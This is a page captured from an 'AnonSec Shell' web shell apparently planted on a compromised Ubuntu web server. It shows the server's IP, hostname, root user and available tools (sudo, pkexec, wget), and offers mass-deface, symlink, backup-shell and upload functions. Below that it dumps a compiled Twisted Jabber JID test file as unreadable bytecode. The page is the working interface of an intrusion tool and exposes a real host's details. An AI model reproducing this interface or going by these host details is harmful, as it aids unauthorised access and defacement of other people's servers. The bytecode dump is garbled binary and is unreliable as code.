AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/words/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/words/test/__pycache__/test_jabberjid.cpython-310.pyc
o

�b��@sVdZddlmZddlmZGdd�dej�ZGdd�dej�ZGdd	�d	ej�Zd
S)z2
Tests for L{twisted.words.protocols.jabber.jid}.
�)�unittest)�jidc@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�JIDParsingTestscCs�|�t�d�d�|�t�d�d�|�t�d�d�|�t�d�d�|�t�d	�d
�|�t�d�d�|�t�d
�d�|�t�d�d�|�t�d�d�|�t�d�d�dS)z/
        Test different forms of JIDs.
        �user@host/resource��user�host�resource�	user@host�rrNr�NrN�
host/resource�Nrr	zfoo/bar@baz)N�foo�bar@bazzboo@foo/bar@baz)�boorrzboo@foo/bar/baz)rrzbar/bazzboo/foo@bar@baz)Nrzfoo@bar@bazzboo/foo/bar)Nrzfoo/barzboo//foo)Nrz/fooN)�assertEqualr�parse��self�r�C/usr/lib/python3/dist-packages/twisted/words/test/test_jabberjid.py�
test_parse
szJIDParsingTests.test_parsecC�|�tjtjd�dS)z3
        Test for failure on no host part.
        zuser@N��assertRaisesr�
InvalidFormatrrrrr�test_noHostszJIDParsingTests.test_noHostcCr)z�
        Test for failure on double @ signs.

        This should fail because @ is not a valid character for the host
        part of the JID.
        z
user@@hostNrrrrr�
test_doubleAt%�zJIDParsingTests.test_doubleAtcCr)z�
        Test for failure on two @ signs.

        This should fail because @ is not a valid character for the host
        part of the JID.
        zuser@host@hostNrrrrr�test_multipleAt.rzJIDParsingTests.test_multipleAtcC�|�t�ddd�d�dS)z@
        Test case mapping of the user part of the JID.
        �UsErrr	rN�rr�preprrrr�test_prepCaseMapUser:��z$JIDParsingTests.test_prepCaseMapUsercCr!)z@
        Test case mapping of the host part of the JID.
        r�hoSTr	rNr#rrrr�test_prepCaseMapHostBr&z$JIDParsingTests.test_prepCaseMapHostcCs0|�t�ddd�d�|�t�ddd�d�dS)zH
        Test no case mapping of the resourcce part of the JID.
        rr'r	rr�ResourceN)rrr$�assertNotEqualrrrr�test_prepNoCaseMapResourceJs��z*JIDParsingTests.test_prepNoCaseMapResourceN)
�__name__�
__module__�__qualname__rrrr r%r(r+rrrrrs	rc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#S)$�JIDTestscCs|�ttj�dS)zC
        Test that using no arguments raises an exception.
        N)r�RuntimeErrorr�JIDrrrr�test_noneArgumentsWszJIDTests.test_noneArgumentscCs8t�d�}|�|jd�|�|jd�|�|jd�dS)zI
        Test that the attributes correspond with the JID parts.
        rrrr	N)rr1rrrr	�r�jrrr�test_attributes]s
zJIDTests.test_attributescC�t�d�}|�d|���dS)z6
        Test the extraction of the bare JID.
        rr
N�rr1r�userhostr3rrr�
test_userhostf�
zJIDTests.test_userhostcCr6)zU
        Test the extraction of the bare JID of the full form host/resource.
        r
rNr7r3rrr�test_userhostOnlyHostmr:zJIDTests.test_userhostOnlyHostcCs(t�d�}t�d�}|�||���dS)z<
        Test getting a JID object of the bare JID.
        rr
N)rr1�	internJID�assertIdentical�userhostJID�r�j1�j2rrr�test_userhostJIDts

zJIDTests.test_userhostJIDcCst�d�}|�||���dS)zW
        Test getting a JID object of the bare JID when there was no resource.
        r
N)rr1r=r>r3rrr�test_userhostJIDNoResource|r:z#JIDTests.test_userhostJIDNoResourcecC� tjdd�}|�d|���dS)zW
        Test giving a string representation of the JID with only a host part.
        r��tuplerN�rr1r�fullr3rrr�
test_fullHost��zJIDTests.test_fullHostcCrD)zU
        Test giving a string representation of the JID with host, resource.
        rrEr
NrGr3rrr�test_fullHostResource�rJzJIDTests.test_fullHostResourcecCrD)zQ
        Test giving a string representation of the JID with user, host.
        rrEr
NrGr3rrr�test_fullUserHost�rJzJIDTests.test_fullUserHostcCrD)zA
        Test giving a string representation of the JID.
        rrErNrGr3rrr�test_fullAll�rJzJIDTests.test_fullAllcCs0t�d�}t�d�}|�||�|�||�dS�z$
        Test JID equality.
        rN)rr1�assertNotIdenticalrr?rrr�
test_equality�s

zJIDTests.test_equalitycCst�d�}|�|dk�dSrN)rr1�assertFalser3rrr�test_equalityWithNonJIDs�s
z!JIDTests.test_equalityWithNonJIDscCs$t�d�}t�d�}|�||�dS)z&
        Test JID inequality.
        zuser1@host/resourcezuser2@host/resourceN�rr1r*r?rrr�test_inequality��

zJIDTests.test_inequalitycCst�d�}|�|d�dSrNrSr3rrr�test_inequalityWithNonJIDs�s
z#JIDTests.test_inequalityWithNonJIDscCs,t�d�}t�d�}|�t|�t|��dS)z'
        Test JID hashability.
        rN)rr1r�hashr?rrr�
test_hashable�s

zJIDTests.test_hashablecCs tjdd�}|�dt|��dS)z6
        Test unicode representation of JIDs.
        rrErN)rr1r�strr3rrr�test_str�rJzJIDTests.test_strcCs(tjdd�}|�dtd�t|��dS)z5
        Test representation of JID objects.
        rrEzJID(%s)rN)rr1r�reprr3rrr�	test_repr�szJIDTests.test_reprN)r,r-r.r2r5r9r;rBrCrIrKrLrMrPrRrTrVrXrZr\rrrrr/Vs$		r/c@seZdZdd�ZdS)�InternJIDTestscCs$t�d�}t�d�}|�||�dS)zD
        Test that two interned JIDs yield the same object.
        r
N)rr<r=r?rrr�
test_identity�rUzInternJIDTests.test_identityN)r,r-r.r^rrrrr]�sr]N)	�__doc__�
twisted.trialr�twisted.words.protocols.jabberr�TestCaserr/r]rrrr�<module>sJ

Anon7 - 2022
AnonSec Team